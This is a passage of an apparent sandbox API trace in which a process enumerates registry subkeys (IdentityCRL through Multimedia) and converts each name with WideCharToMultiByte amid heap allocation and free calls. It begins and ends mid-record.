lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0229.261] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.262] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.262] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.262] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.262] RegEnumKeyW (in: hKey=0x38, dwIndex=0x28, lpName=0x35b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0229.262] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.262] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x35c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0229.262] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.262] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.262] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.262] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.262] RegEnumKeyW (in: hKey=0x38, dwIndex=0x29, lpName=0x35b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0229.262] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0229.262] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x35c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0229.262] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.262] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.262] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.262] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.262] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2a, lpName=0x35b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0229.262] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.262] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x35c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0229.262] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.262] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.262] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.262] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.262] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2b, lpName=0x35b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0229.262] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.263] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x35c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0229.263] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.263] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.263] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.263] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.263] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2c, lpName=0x35b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0229.263] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.263] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x35c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0229.263] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.263] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.263] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.263] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.263] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2d, lpName=0x35b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0229.263] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.263] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x35c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0229.263] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.263] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.263] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.263] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.263] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2e, lpName=0x35b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0229.263] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0229.263] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x35c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0229.263] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.263] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.263] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.263] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.264] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2f, lpName=0x35b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0229.264] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0229.264] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x35c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0229.264] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.264] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.264] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.264] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.264] RegEnumKeyW (in: hKey=0x38, dwIndex=0x30, lpName=0x35b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0229.264] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0229.264] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x35c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0229.264] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.264] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.264] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.264] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.264] RegEnumKeyW (in: hKey=0x38, dwIndex=0x31, lpName=0x35b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0229.264] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.264] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x35c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0229.264] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.264] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.264] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.264] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.264] RegEnumKeyW (in: hKey=0x38, dwIndex=0x32, lpName=0x35b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0229.264] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0229.264] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x35c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0229.265] RegEnumKeyW (in: hKey=0x38, dwIndex=0x33, lpName=0x35b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0229.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0229.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x35c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0229.265] RegEnumKeyW (in: hKey=0x38, dwIndex=0x34, lpName=0x35b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0229.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x35c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0229.265] RegEnumKeyW (in: hKey=0x38, dwIndex=0x35, lpName=0x35b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0229.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0229.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x35c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0229.265] RegEnumKeyW (in: hKey=0x38, dwIndex=0x36, lpName=0x35b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0229.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0229.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x35c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0229.265] RegEnumKeyW (in: hKey=0x38, dwIndex=0x37, lpName=0x35b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0229.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0229.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x35c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0229.265] RegEnumKeyW (in: hKey=0x38, dwIndex=0x38, lpName=0x35b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0229.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x35c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0229.265] RegEnumKeyW (in: hKey=0x38, dwIndex=0x39, lpName=0x35b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0229.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x35c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0229.266] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3a, lpName=0x35b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0229.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x35c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0229.266] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3b, lpName=0x35b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0229.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x35c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0229.266] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3c, lpName=0x35b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0229.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0229.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x35c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0229.266] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3d, lpName=0x35b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0229.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x35c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0229.266] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3e, lpName=0x35b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0229.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x35c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0229.266] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3f, lpName=0x35b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0229.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x35c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0229.266] RegEnumKeyW (in: hKey=0x38, dwIndex=0x40, lpName=0x35b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0229.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0229.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x35c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0229.266] RegEnumKeyW (in: hKey=0x38, dwIndex=0x41, lpName=0x35b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x35c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0229.267] RegEnumKeyW (in: hKey=0x38, dwIndex=0x42, lpName=0x35b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x35c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0229.267] RegEnumKeyW (in: hKey=0x38, dwIndex=0x43, lpName=0x35b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x35c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0229.267] RegEnumKeyW (in: hKey=0x38, dwIndex=0x44, lpName=0x35b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x35c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0229.267] RegEnumKeyW (in: hKey=0x38, dwIndex=0x45, lpName=0x35b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, 